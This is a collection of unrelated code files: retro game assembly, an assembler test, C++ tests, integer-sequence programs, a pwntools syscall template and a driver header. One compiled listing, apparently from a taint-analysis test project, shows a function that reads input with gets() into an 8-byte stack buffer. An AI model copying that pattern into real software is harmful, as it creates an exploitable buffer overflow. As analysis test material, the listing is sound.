;;; One half period of a sine (just the positive part).
r1_HalfSine:
;;; c - value
;;; hl
;;; result in b
;;; preserves a
srl c
ld b, 0
ld hl, r1_HalfSineLut
add hl, bc
ld b, [hl]
ret
;;; ----------------------------------------------------------------------------
r1_SineLut::
DB $00, $03, $05, $06, $05, $04, $01, $80,
DB $83, $85, $85, $83, $81, $00, $03, $05,
DB $06, $05, $03, $00, $81, $83, $85, $85,
DB $83, $80, $01, $04, $05, $06, $05, $03,
DB $00, $82, $84, $85, $84, $83, $80, $01,
DB $04, $06, $06, $04, $02, $7F, $82, $84,
DB $85, $84, $82, $7F, $02, $04, $06, $06,
DB $04, $01, $80, $83, $84, $85, $84, $82,
DB $7F, $03, $05, $06, $05, $04, $01, $80,
DB $83, $85, $85, $83, $81, $00, $03, $05,
DB $06, $05, $03, $00, $81, $83, $85, $85,
DB $83, $80, $01, $04, $05, $06, $05, $03,
DB $7F, $82, $84, $85, $84, $83, $80, $01,
DB $04, $06, $06, $04, $02, $7F, $82, $84,
DB $85, $84, $82, $7F, $02, $04, $06, $06,
DB $04, $01, $80, $83, $84, $85, $84, $82,
DB $7F, $03, $05, $06, $05, $04, $01, $80,
DB $83, $85, $85, $83, $81, $00, $03, $05,
DB $06, $05, $03, $00, $81, $83, $85, $85,
DB $83, $80, $01, $04, $05, $06, $05, $03,
DB $7F, $82, $84, $85, $84, $83, $80, $01,
DB $04, $06, $06, $04, $02, $7F, $82, $84,
DB $85, $84, $82, $7F, $02, $04, $06, $06,
DB $04, $01, $80, $83, $84, $85, $84, $82,
DB $00, $03, $05, $06, $05, $04, $01, $80,
DB $83, $85, $85, $83, $81, $00, $03, $05,
DB $06, $05, $03, $00, $81, $83, $85, $85,
DB $83, $80, $01, $04, $05, $06, $05, $03,
DB $00, $82, $84, $85, $84, $83, $80, $01,
DB $04, $06, $06, $04, $02, $7F, $82, $84,
DB $85, $84, $82, $7F, $02, $04, $06, $06,
DB $04, $01, $80, $83, $84, $85, $84, $82,
r1_SineLutEnd::
r1_Sine:
;;; c - value
;;; hl
;;; result in b
;;; preserves a
ld b, 0
ld hl, r1_SineLut
add hl, bc
ld b, [hl]
ret
;;; ----------------------------------------------------------------------------
r1_ScreenshakeMasterYLut::
._0:
DB $00, $00, $00, $01, $01, $00, $00, $7F,
DB $7F, $7F, $7F, $7F, $7F, $00, $00, $00,
DB $00, $00, $00, $00, $7F, $7F, $7F, $7F,
DB $7F, $7F, $00, $00, $00, $00, $00, $00,
._1:
DB $00, $01, $01, $02, $02, $01, $00, $7F,
DB $80, $80, $80, $80, $7F, $00, $00, $01,
DB $01, $01, $00, $00, $7F, $7F, $7F, $7F,
DB $7F, $7F, $00, $00, $00, $00, $00, $00,
._2:
DB $00, $02, $03, $04, $03, $02, $00, $80,
DB $81, $82, $82, $81, $80, $00, $01, $02,
DB $02, $01, $01, $00, $7F, $80, $80, $80,
DB $7F, $7F, $00, $00, $00, $00, $00, $00,
._3:
DB $00, $02, $04, $05, $05, $03, $01, $80,
DB $82, $83, $83, $82, $80, $00, $02, $02,
DB $03, $02, $01, $00, $7F, $80, $80, $80,
DB $80, $7F, $00, $00, $00, $00, $00, $00,
._4:
DB $00, $03, $06, $07, $06, $04, $01, $80,
DB $83, $84, $84, $83, $80, $00, $02, $03,
DB $04, $03, $02, $00, $80, $81, $81, $81,
DB $80, $7F, $00, $00, $00, $00, $00, $00,
._5:
DB $00, $04, $07, $09, $08, $05, $01, $81,
DB $84, $86, $85, $84, $81, $00, $03, $04,
DB $05, $04, $02, $00, $80, $81, $82, $81,
DB $80, $7F, $00, $01, $01, $00, $00, $00,
r1_ScreenshakeMasterYLutEnd::
;;; ----------------------------------------------------------------------------
r1_StartScreenshake:
;;; b - magnitude
ld a, [var_shake_magnitude]
cp b
jr C, .update
jr Z, .update
ret
.update:
ld a, b
ld [var_shake_magnitude], a
ld a, 0
ld [var_shake_timer], a
ret
;;; ----------------------------------------------------------------------------
r1_Screenshake:
;;; b - screenshake magnitude
;;; c - screenshake index
push bc
;; First, we want to jump to the appropiate lookup table based on the
;; magnitude parameter. Each sub-table contains 32 bytes of data.
dec b ; Magnitude counts from 1
swap b ; \ Magnitude *= 32
sla b ; /
ld hl, r1_ScreenshakeMasterYLut
ld c, b ; \
ld b, 0 ; | Select sub table in hl based on magnitude.
add hl, bc ; /
pop bc
ld b, 0 ; \ Key into sub table based on index
add hl, bc ; /
ld b, [hl]
ldh a, [hvar_view_y]
ld c, a
fcall r1_ViewAnchorAddSignedOffset
ld b, 121
ld c, 0
fcall Clamp
ldh [hvar_view_y], a
ret
;;; ----------------------------------------------------------------------------
r1_ViewAnchorAddSignedOffset:
;;; b - lhs
;;; c - rhs
;;; result in a.
;;; really stupid function that adds a signed 8-bit integer to an unsigned one,
;;; which I needed to do because my view coordinates are unsigned, and I want to
;;; add a damped sine wave to them.
ld a, b
cp 127
jr C, .add
sub 127
ld b, a
ld a, c
sub a, b
jr C, .zero
ret
.zero:
ld a, 0
ret Z
.add:
ld a, c
add a, b
ret
;;; ----------------------------------------------------------------------------
r1_fatalError:
ld hl, sp+0 ; Store old stack pointer.
;; We don't know if the fatal error may have resulted from a stack
;; overflow, so we should reset the stack pointer before calling any
;; functions.
ld sp, STACK_BEGIN
;; TODO: show a bunch of stats and an error screen. Include:
;; 1) Stack pointer
;; 2) Register contents
;; 3) Some of the stack
di
ei
push hl
pop hl
fcall SystemReboot
ret
;;; ----------------------------------------------------------------------------
r1_ClearOverlayBar:
fcall VBlankIntrWait
ld hl, $9c20 ; |
ld bc, 20 ; |
ld a, $32 ; |
fcall Memset ; |
ld hl, $9c40 ; |
ld bc, 20 ; |
ld a, $32 ; |
fcall Memset ; |
ld hl, $9c60 ; |
ld bc, 20 ; |
ld a, $32 ; |
fcall Memset ; | Fill rows with black tiles.
call VBlankIntrWait ; |
VIDEO_BANK 1 ; |
ld hl, $9c20 ; |
ld bc, 20 ; |
ld a, $8b ; |
fcall Memset ; |
ld hl, $9c40 ; |
ld bc, 20 ; |
ld a, $8b ; |
fcall Memset ; |
ld hl, $9c60 ; |
ld bc, 20 ; |
ld a, $8b ; |
fcall Memset ; |
VIDEO_BANK 0 ; /
ret
;;; ----------------------------------------------------------------------------
r1_SmallIntegerToString:
;;; c - integer
;;; de - buffer to fill data with
fcall r1_SmallIntToStringImpl ; result in hl
push hl
fcall SmallStrlen ; result in c
inc c ; we want to copy the null terminator too.
pop hl
ld b, 0 ; clear b, bc now holds size to copy
fcall Memcpy
ret
;;; ----------------------------------------------------------------------------
;;; NOTE: should not be called outside of rom1 or rom0. Returns a pointer to a
;;; string in rom1, so other rom banks can't really use the data for anything.
;;; we have a more substantial int to string function for 16 bit integers
;;; anyway.
r1_SmallIntToStringImpl:
;;; c - int
;;; trashes bc, hl
xor a
sla c ; \
adc 0 ; |
sla a ; | Multiply c * 4, result in bc.
sla c ; |
adc 0 ; |
ld b, a ; /
ld hl, .table
add hl, bc
ret
.table:
DB "0", 0, 0, 0,
DB "1", 0, 0, 0,
DB "2", 0, 0, 0,
DB "3", 0, 0, 0,
DB "4", 0, 0, 0,
DB "5", 0, 0, 0,
DB "6", 0, 0, 0,
DB "7", 0, 0, 0,
DB "8", 0, 0, 0,
DB "9", 0, 0, 0,
DB "10", 0, 0,
DB "11", 0, 0,
DB "12", 0, 0,
DB "13", 0, 0,
DB "14", 0, 0,
DB "15", 0, 0,
DB "16", 0, 0,
DB "17", 0, 0,
DB "18", 0, 0,
DB "19", 0, 0,
DB "20", 0, 0,
DB "21", 0, 0,
DB "22", 0, 0,
DB "23", 0, 0,
DB "24", 0, 0,
DB "25", 0, 0,
DB "26", 0, 0,
DB "27", 0, 0,
DB "28", 0, 0,
DB "29", 0, 0,
DB "30", 0, 0,
DB "31", 0, 0,
DB "32", 0, 0,
DB "33", 0, 0,
DB "34", 0, 0,
DB "35", 0, 0,
DB "36", 0, 0,
DB "37", 0, 0,
DB "38", 0, 0,
DB "39", 0, 0,
DB "40", 0, 0,
DB "41", 0, 0,
DB "42", 0, 0,
DB "43", 0, 0,
DB "44", 0, 0,
DB "45", 0, 0,
DB "46", 0, 0,
DB "47", 0, 0,
DB "48", 0, 0,
DB "49", 0, 0,
DB "50", 0, 0,
DB "51", 0, 0,
DB "52", 0, 0,
DB "53", 0, 0,
DB "54", 0, 0,
DB "55", 0, 0,
DB "56", 0, 0,
DB "57", 0, 0,
DB "58", 0, 0,
DB "59", 0, 0,
DB "60", 0, 0,
DB "61", 0, 0,
DB "62", 0, 0,
DB "63", 0, 0,
DB "64", 0, 0,
DB "65", 0, 0,
DB "66", 0, 0,
DB "67", 0, 0,
DB "68", 0, 0,
DB "69", 0, 0,
DB "70", 0, 0,
DB "71", 0, 0,
DB "72", 0, 0,
DB "73", 0, 0,
DB "74", 0, 0,
DB "75", 0, 0,
DB "76", 0, 0,
DB "77", 0, 0,
DB "78", 0, 0,
DB "79", 0, 0,
DB "80", 0, 0,
DB "81", 0, 0,
DB "82", 0, 0,
DB "83", 0, 0,
DB "84", 0, 0,
DB "85", 0, 0,
DB "86", 0, 0,
DB "87", 0, 0,
DB "88", 0, 0,
DB "89", 0, 0,
DB "90", 0, 0,
DB "91", 0, 0,
DB "92", 0, 0,
DB "93", 0, 0,
DB "94", 0, 0,
DB "95", 0, 0,
DB "96", 0, 0,
DB "97", 0, 0,
DB "98", 0, 0,
DB "99", 0, 0,
DB "100", 0,
DB "101", 0,
DB "102", 0,
DB "103", 0,
DB "104", 0,
DB "105", 0,
DB "106", 0,
DB "107", 0,
DB "108", 0,
DB "109", 0,
DB "110", 0,
DB "111", 0,
DB "112", 0,
DB "113", 0,
DB "114", 0,
DB "115", 0,
DB "116", 0,
DB "117", 0,
DB "118", 0,
DB "119", 0,
DB "120", 0,
DB "121", 0,
DB "122", 0,
DB "123", 0,
DB "124", 0,
DB "125", 0,
DB "126", 0,
DB "127", 0,
DB "128", 0,
DB "129", 0,
DB "130", 0,
DB "131", 0,
DB "132", 0,
DB "133", 0,
DB "134", 0,
DB "135", 0,
DB "136", 0,
DB "137", 0,
DB "138", 0,
DB "139", 0,
DB "140", 0,
DB "141", 0,
DB "142", 0,
DB "143", 0,
DB "144", 0,
DB "145", 0,
DB "146", 0,
DB "147", 0,
DB "148", 0,
DB "149", 0,
DB "150", 0,
DB "151", 0,
DB "152", 0,
DB "153", 0,
DB "154", 0,
DB "155", 0,
DB "156", 0,
DB "157", 0,
DB "158", 0,
DB "159", 0,
DB "160", 0,
DB "161", 0,
DB "162", 0,
DB "163", 0,
DB "164", 0,
DB "165", 0,
DB "166", 0,
DB "167", 0,
DB "168", 0,
DB "169", 0,
DB "170", 0,
DB "171", 0,
DB "172", 0,
DB "173", 0,
DB "174", 0,
DB "175", 0,
DB "176", 0,
DB "177", 0,
DB "178", 0,
DB "179", 0,
DB "180", 0,
DB "181", 0,
DB "182", 0,
DB "183", 0,
DB "184", 0,
DB "185", 0,
DB "186", 0,
DB "187", 0,
DB "188", 0,
DB "189", 0,
DB "190", 0,
DB "191", 0,
DB "192", 0,
DB "193", 0,
DB "194", 0,
DB "195", 0,
DB "196", 0,
DB "197", 0,
DB "198", 0,
DB "199", 0,
DB "200", 0,
DB "201", 0,
DB "202", 0,
DB "203", 0,
DB "204", 0,
DB "205", 0,
DB "206", 0,
DB "207", 0,
DB "208", 0,
DB "209", 0,
DB "210", 0,
DB "211", 0,
DB "212", 0,
DB "213", 0,
DB "214", 0,
DB "215", 0,
DB "216", 0,
DB "217", 0,
DB "218", 0,
DB "219", 0,
DB "220", 0,
DB "221", 0,
DB "222", 0,
DB "223", 0,
DB "224", 0,
DB "225", 0,
DB "226", 0,
DB "227", 0,
DB "228", 0,
DB "229", 0,
DB "230", 0,
DB "231", 0,
DB "232", 0,
DB "233", 0,
DB "234", 0,
DB "235", 0,
DB "236", 0,
DB "237", 0,
DB "238", 0,
DB "239", 0,
DB "240", 0,
DB "241", 0,
DB "242", 0,
DB "243", 0,
DB "244", 0,
DB "245", 0,
DB "246", 0,
DB "247", 0,
DB "248", 0,
DB "249", 0,
DB "250", 0,
DB "251", 0,
DB "252", 0,
DB "253", 0,
DB "254", 0,
DB "255", 0,
.end:
;;; ----------------------------------------------------------------------------
|
;Testname=aout; Arguments=-faout -obr560575.o; Files=stderr stdout br560575.o
;Testname=aoutb; Arguments=-faoutb -obr560575.o; Files=stderr stdout br560575.o
;Testname=coff; Arguments=-fcoff -obr560575.o; Files=stderr stdout br560575.o
;Testname=elf32; Arguments=-felf32 -obr560575.o; Files=stderr stdout br560575.o
;Testname=elf64; Arguments=-felf64 -obr560575.o; Files=stderr stdout br560575.o
;Testname=as86; Arguments=-fas86 -obr560575.o; Files=stderr stdout br560575.o
;Testname=win32; Arguments=-fwin32 -obr560575.o; Files=stderr stdout br560575.o
;Testname=win64; Arguments=-fwin64 -obr560575.o; Files=stderr stdout br560575.o
;Testname=rdf; Arguments=-frdf -obr560575.o; Files=stderr stdout br560575.o
;Testname=ieee; Arguments=-fieee -obr560575.o; Files=stderr stdout br560575.o
;Testname=macho; Arguments=-fmacho -obr560575.o; Files=stderr stdout br560575.o
;Test for bug report 560575 - Using SEG with non-relocatable values doesn't work
;
dw seg ~1
dw seg "a"
dw seg 'a'
|
// Copyright (c) 2017 Hartmut Kaiser
//
// SPDX-License-Identifier: BSL-1.0
// Distributed under the Boost Software License, Version 1.0. (See accompanying
// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
#include <hpx/hpx_main.hpp>
#include <hpx/include/future.hpp>
#include <hpx/include/parallel_executors.hpp>
#include <hpx/modules/async_local.hpp>
#include <hpx/modules/testing.hpp>
#include <type_traits>
#include <utility>
struct test_async_executor
{
using execution_category = hpx::execution::parallel_execution_tag;
template <typename F, typename... Ts>
static hpx::future<typename hpx::util::invoke_result<F, Ts...>::type>
async_execute(F&& f, Ts&&... ts)
{
return hpx::dataflow(
hpx::launch::async, std::forward<F>(f), std::forward<Ts>(ts)...);
}
};
namespace hpx { namespace parallel { namespace execution {
template <>
struct is_two_way_executor<test_async_executor> : std::true_type
{
};
}}} // namespace hpx::parallel::execution
int main()
{
test_async_executor exec;
hpx::future<void> f = hpx::make_ready_future();
f.then(exec, [](hpx::future<void>&& f) { f.get(); });
return hpx::util::report_errors();
}
|
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.00.23506.0
include listing.inc
INCLUDELIB MSVCRT
INCLUDELIB OLDNAMES
_DATA SEGMENT
$SG5155 DB '%d %d %d %d %s', 0aH, 00H
_DATA ENDS
PUBLIC __local_stdio_printf_options
PUBLIC _vfprintf_l
PUBLIC printf
PUBLIC func
PUBLIC main
EXTRN __imp___acrt_iob_func:PROC
EXTRN __imp___stdio_common_vfprintf:PROC
EXTRN gets:PROC
EXTRN __GSHandlerCheck:PROC
EXTRN __security_check_cookie:PROC
EXTRN __security_cookie:QWORD
_DATA SEGMENT
COMM ?_OptionsStorage@?1??__local_stdio_printf_options@@9@9:QWORD ; `__local_stdio_printf_options'::`2'::_OptionsStorage
_DATA ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$_vfprintf_l DD imagerel $LN3
DD imagerel $LN3+68
DD imagerel $unwind$_vfprintf_l
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$printf DD imagerel $LN3
DD imagerel $LN3+88
DD imagerel $unwind$printf
pdata ENDS
pdata SEGMENT
$pdata$func DD imagerel $LN3
DD imagerel $LN3+109
DD imagerel $unwind$func
$pdata$main DD imagerel $LN3
DD imagerel $LN3+38
DD imagerel $unwind$main
pdata ENDS
xdata SEGMENT
$unwind$func DD 012519H
DD 08216H
DD imagerel __GSHandlerCheck
DD 038H
$unwind$main DD 010401H
DD 04204H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$printf DD 011801H
DD 06218H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$_vfprintf_l DD 011801H
DD 06218H
xdata ENDS
; Function compile flags: /Odtpy
; File d:\projects\taintanalysis\antitaint\epilog\src\func-iparam-fastcall.c
_TEXT SEGMENT
main PROC
; 23 : {
$LN3:
sub rsp, 40 ; 00000028H
; 24 : func(1, 2, 3, 4);
mov r9d, 4
mov r8d, 3
mov edx, 2
mov ecx, 1
call func
; 25 : return 0;
xor eax, eax
; 26 : }
add rsp, 40 ; 00000028H
ret 0
main ENDP
_TEXT ENDS
; Function compile flags: /Odtpy
; File d:\projects\taintanalysis\antitaint\epilog\src\func-iparam-fastcall.c
_TEXT SEGMENT
buf$ = 48
__$ArrayPad$ = 56
param1$ = 80
param2$ = 88
param3$ = 96
param4$ = 104
func PROC
; 16 : {
$LN3:
mov DWORD PTR [rsp+32], r9d
mov DWORD PTR [rsp+24], r8d
mov DWORD PTR [rsp+16], edx
mov DWORD PTR [rsp+8], ecx
sub rsp, 72 ; 00000048H
mov rax, QWORD PTR __security_cookie
xor rax, rsp
mov QWORD PTR __$ArrayPad$[rsp], rax
; 17 : char buf[8];
; 18 : gets(buf);
lea rcx, QWORD PTR buf$[rsp]
call gets
; 19 : printf("%d %d %d %d %s\n", param1, param2, param3, param4, buf);
lea rax, QWORD PTR buf$[rsp]
mov QWORD PTR [rsp+40], rax
mov eax, DWORD PTR param4$[rsp]
mov DWORD PTR [rsp+32], eax
mov r9d, DWORD PTR param3$[rsp]
mov r8d, DWORD PTR param2$[rsp]
mov edx, DWORD PTR param1$[rsp]
lea rcx, OFFSET FLAT:$SG5155
call printf
; 20 : }
mov rcx, QWORD PTR __$ArrayPad$[rsp]
xor rcx, rsp
call __security_check_cookie
add rsp, 72 ; 00000048H
ret 0
func ENDP
_TEXT ENDS
; Function compile flags: /Odtpy
; File c:\program files (x86)\windows kits\10\include\10.0.10240.0\ucrt\stdio.h
; COMDAT printf
_TEXT SEGMENT
_Result$ = 32
_ArgList$ = 40
_Format$ = 64
printf PROC ; COMDAT
; 950 : {
$LN3:
mov QWORD PTR [rsp+8], rcx
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+24], r8
mov QWORD PTR [rsp+32], r9
sub rsp, 56 ; 00000038H
; 951 : int _Result;
; 952 : va_list _ArgList;
; 953 : __crt_va_start(_ArgList, _Format);
lea rax, QWORD PTR _Format$[rsp+8]
mov QWORD PTR _ArgList$[rsp], rax
; 954 : _Result = _vfprintf_l(stdout, _Format, NULL, _ArgList);
mov ecx, 1
call QWORD PTR __imp___acrt_iob_func
mov r9, QWORD PTR _ArgList$[rsp]
xor r8d, r8d
mov rdx, QWORD PTR _Format$[rsp]
mov rcx, rax
call _vfprintf_l
mov DWORD PTR _Result$[rsp], eax
; 955 : __crt_va_end(_ArgList);
mov QWORD PTR _ArgList$[rsp], 0
; 956 : return _Result;
mov eax, DWORD PTR _Result$[rsp]
; 957 : }
add rsp, 56 ; 00000038H
ret 0
printf ENDP
_TEXT ENDS
; Function compile flags: /Odtpy
; File c:\program files (x86)\windows kits\10\include\10.0.10240.0\ucrt\stdio.h
; COMDAT _vfprintf_l
_TEXT SEGMENT
_Stream$ = 64
_Format$ = 72
_Locale$ = 80
_ArgList$ = 88
_vfprintf_l PROC ; COMDAT
; 638 : {
$LN3:
mov QWORD PTR [rsp+32], r9
mov QWORD PTR [rsp+24], r8
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
sub rsp, 56 ; 00000038H
; 639 : return __stdio_common_vfprintf(_CRT_INTERNAL_LOCAL_PRINTF_OPTIONS, _Stream, _Format, _Locale, _ArgList);
call __local_stdio_printf_options
mov rcx, QWORD PTR _ArgList$[rsp]
mov QWORD PTR [rsp+32], rcx
mov r9, QWORD PTR _Locale$[rsp]
mov r8, QWORD PTR _Format$[rsp]
mov rdx, QWORD PTR _Stream$[rsp]
mov rcx, QWORD PTR [rax]
call QWORD PTR __imp___stdio_common_vfprintf
; 640 : }
add rsp, 56 ; 00000038H
ret 0
_vfprintf_l ENDP
_TEXT ENDS
; Function compile flags: /Odtpy
; File c:\program files (x86)\windows kits\10\include\10.0.10240.0\ucrt\corecrt_stdio_config.h
; COMDAT __local_stdio_printf_options
_TEXT SEGMENT
__local_stdio_printf_options PROC ; COMDAT
; 74 : static unsigned __int64 _OptionsStorage;
; 75 : return &_OptionsStorage;
lea rax, OFFSET FLAT:?_OptionsStorage@?1??__local_stdio_printf_options@@9@9 ; `__local_stdio_printf_options'::`2'::_OptionsStorage
; 76 : }
ret 0
__local_stdio_printf_options ENDP
_TEXT ENDS
END
|
; A064198: a(n) = 3*(n-2)*(n-3)*(3*n^2-3*n-8)/2.
; 0,0,84,468,1476,3540,7200,13104,22008,34776,52380,75900,106524,145548,194376,254520,327600,415344,519588,642276,785460,951300,1142064,1360128,1607976,1888200,2203500,2556684,2950668,3388476,3873240,4408200,4996704,5642208,6348276,7118580,7956900,8867124,9853248,10919376,12069720,13308600,14640444,16069788,17601276,19239660,20989800,22856664,24845328,26960976,29208900,31594500,34123284,36800868,39632976,42625440,45784200,49115304,52624908,56319276,60204780,64287900,68575224,73073448,77789376,82729920,87902100,93313044,98969988,104880276,111051360,117490800,124206264,131205528,138496476,146087100,153985500,162199884,170738568,179609976,188822640,198385200,208306404,218595108,229260276,240310980,251756400,263605824,275868648,288554376,301672620,315233100,329245644,343720188,358666776,374095560,390016800,406440864,423378228,440839476,458835300,477376500,496473984,516138768,536381976,557214840,578648700,600695004,623365308,646671276,670624680,695237400,720521424,746488848,773151876,800522820,828614100,857438244,887007888,917335776,948434760,980317800,1012997964,1046488428,1080802476,1115953500,1151955000,1188820584,1226563968,1265198976,1304739540,1345199700,1386593604,1428935508,1472239776,1516520880,1561793400,1608072024,1655371548,1703706876,1753093020,1803545100,1855078344,1907708088,1961449776,2016318960,2072331300,2129502564,2187848628,2247385476,2308129200,2370096000,2433302184,2497764168,2563498476,2630521740,2698850700,2768502204,2839493208,2911840776,2985562080,3060674400,3137195124,3215141748,3294531876,3375383220,3457713600,3541540944,3626883288,3713758776,3802185660,3892182300,3983767164,4076958828,4171775976,4268237400,4366362000,4466168784,4567676868,4670905476,4775873940,4882601700,4991108304,5101413408,5213536776,5327498280,5443317900,5561015724,5680611948,5802126876,5925580920,6050994600,6178388544,6307783488,6439200276,6572659860,6708183300,6845791764,6985506528,7127348976,7271340600,7417503000,7565857884,7716427068,7869232476,8024296140,8181640200,8341286904,8503258608,8667577776,8834266980,9003348900,9174846324,9348782148,9525179376,9704061120,9885450600,10069371144,10255846188,10444899276,10636554060,10830834300,11027763864,11227366728,11429666976,11634688800,11842456500,12052994484,12266327268,12482479476,12701475840,12923341200,13148100504,13375778808,13606401276,13839993180,14076579900,14316186924,14558839848,14804564376,15053386320,15305331600,15560426244,15818696388,16080168276,16344868260,16612822800,16884058464,17158601928,17436479976
mov $10,$0
mov $12,$0
lpb $12
clr $0,10
mov $0,$10
sub $12,1
sub $0,$12
mov $7,$0
mov $9,$0
lpb $9
mov $0,$7
sub $9,1
sub $0,$9
mov $3,$0
mul $0,2
mov $2,3
add $3,1
add $3,$0
mul $2,$3
trn $3,5
mul $2,$3
mul $2,2
add $8,$2
lpe
add $11,$8
lpe
mov $1,$11
|
/**
* Copyright 2017-2020 Stefan Ascher
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
* of the Software, and to permit persons to whom the Software is furnished to do
* so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
* FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
* IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
* WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
#include "Agent.h"
#include "HasSelection.h"
namespace AI {
namespace Conditions {
bool HasSelection::Evaluate(Agent& agent, const Node&)
{
return agent.filteredAgents_.size() != 0;
}
}
}
|
SECTION code_clib
SECTION code_error
PUBLIC error_lznc
EXTERN error_znc
pop hl
error_lznc:
; set dehl = 0
; reset carry flag
ld de,0
jp error_znc
|
; A147651: First trisection of A028560.
; Submitted by Christian Krause
; 0,27,72,135,216,315,432,567,720,891,1080,1287,1512,1755,2016,2295,2592,2907,3240,3591,3960,4347,4752,5175,5616,6075,6552,7047,7560,8091,8640,9207,9792,10395,11016
add $0,1
pow $0,2
sub $0,1
mul $0,9
|
<%
from pwnlib.shellcraft.amd64.linux import syscall
%>
<%page args="tv, tz"/>
<%docstring>
Invokes the syscall settimeofday. See 'man 2 settimeofday' for more information.
Arguments:
tv(timeval): tv
tz(timezone): tz
</%docstring>
${syscall('SYS_settimeofday', tv, tz)}
|
; A002420: Expansion of sqrt(1 - 4*x) in powers of x.
; 1,-2,-2,-4,-10,-28,-84,-264,-858,-2860,-9724,-33592,-117572,-416024,-1485800,-5348880,-19389690,-70715340,-259289580,-955277400,-3534526380,-13128240840,-48932534040,-182965127280,-686119227300,-2579808294648,-9723892802904,-36734706144304,-139067101832008,-527495903500720,-2004484433302736,-7629973004184608,-29089272078453818,-111068129754096396,-424672260824486220,-1625888084299461528,-6232570989814602524,-23919596771720906984,-91901608649243484728,-353467725574013402800
mov $1,1
mov $2,1
sub $2,$0
sub $2,$0
sub $1,$2
bin $1,$0
div $1,$2
mov $0,$1
|
; A339053: a(n) = least k such that the first n-block in A339051 occurs in A339052 beginning at the k-th term.
; 3,3,3,3,7,7,7,7,7,7,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45
mov $2,2
mov $3,$0
mov $4,21
lpb $3
mov $1,$2
mov $2,$4
sub $3,6
lpe
mul $1,2
add $1,3
|
.include "hdr.asm"
.section ".rodata1" superfree
snesfont: .incbin "res/font/pvsneslibfont.pic"
snesfont_end:
.ends
.section ".rodata2" superfree
gameLogoSprite:
.incbin "res/logo/logo.pic"
gameLogoSprite_end:
gameLogoPalette:
.incbin "res/logo/logo.pal"
gameLogoPalette_end:
.ends
.section ".rodata3" superfree
.ends
.section ".rodata4" superfree
.ends
.section ".rodata5" superfree
.ends
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Geoworks 1994 -- All Rights Reserved
PROJECT: Clavin
MODULE: VM Tree Data Driver
FILE: vmtreeEntry.asm
AUTHOR: Chung Liu, Jun 3, 1994
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
CL 6/ 3/94 Initial revision
DESCRIPTION:
Strategy routine, and stubs for actual routines, to reduce
the size of the Resident segment.
$Id: vmtreeEntry.asm,v 1.1 97/04/18 11:41:50 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
Resident segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VMTreeStrategy
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Stategy routine for this driver.
CALLED BY: Mailbox Library
PASS: di = MailboxDataDriverFunction
RETURN: depends on di
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CL 6/ 3/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
vmTreeFunctions nptr \
VMTreeDoNothing,
VMTreeDoNothing,
VMTreeDoNothing,
VMTreeDoNothing,
VMTreeStoreBodyStub,
VMTreeReadInitializeStub,
VMTreeReadNextBlockStub,
VMTreeReadCompleteStub,
VMTreeWriteInitializeStub,
VMTreeWriteNextBlockStub,
VMTreeWriteCompleteStub,
VMTreeDeleteBodyStub,
VMTreeGetBodyStub,
VMTreeStealBodyStub,
VMTreeDoneWithBodyStub,
VMTreeBodySizeStub,
VMTreeWriteCancelStub,
VMTreeDeleteBodyAppRefStub,
VMTreeDoNothing,
VMTreeCheckIntegrityStub
.assert (size vmTreeFunctions eq MailboxDataDriverFunction)
VMTreeStrategy proc far
EC < cmp di, MailboxDataDriverFunction >
EC < ERROR_AE ERROR_INVALID_MBDD_FUNCTION >
call cs:[vmTreeFunctions][di]
ret
VMTreeStrategy endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VMTreeDoNothing
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Clears the carry flag.
CALLED BY: DR_SUSPEND, DR_UNSUSPEND
PASS: nothing
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CL 6/ 3/94 Initial version
